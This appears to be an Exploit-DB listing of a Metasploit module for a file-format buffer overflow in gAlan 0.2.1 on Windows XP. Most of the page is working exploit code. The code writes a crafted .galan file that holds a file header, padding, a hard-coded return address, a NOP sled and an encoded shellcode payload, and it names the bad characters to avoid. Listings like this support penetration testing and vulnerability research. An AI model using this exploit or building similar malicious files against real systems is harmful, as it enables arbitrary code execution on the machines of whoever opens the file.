gAlan 0.2.1 - Local Buffer Overflow (Metasploit) (2)

EDB-ID:

16664

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

LOCAL

Exploit: / {}

```
##
# $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
            'Description' => %q{
                },
            'Payload' =>
                {
                    'Space' => 1000,
                    'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ],
# 0x100175D0 call esi @ glib-1_3
                ],
            'Privileged' => false,
            'DisclosureDate' => 'Dec 07 2009',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.',
'msf.galan']),
            ], self.class)
    end
```

```
    def exploit

        sploit = "Mjik"
        sploit << rand_text_alpha_upper(1028)
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 45
        sploit << payload.encoded

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link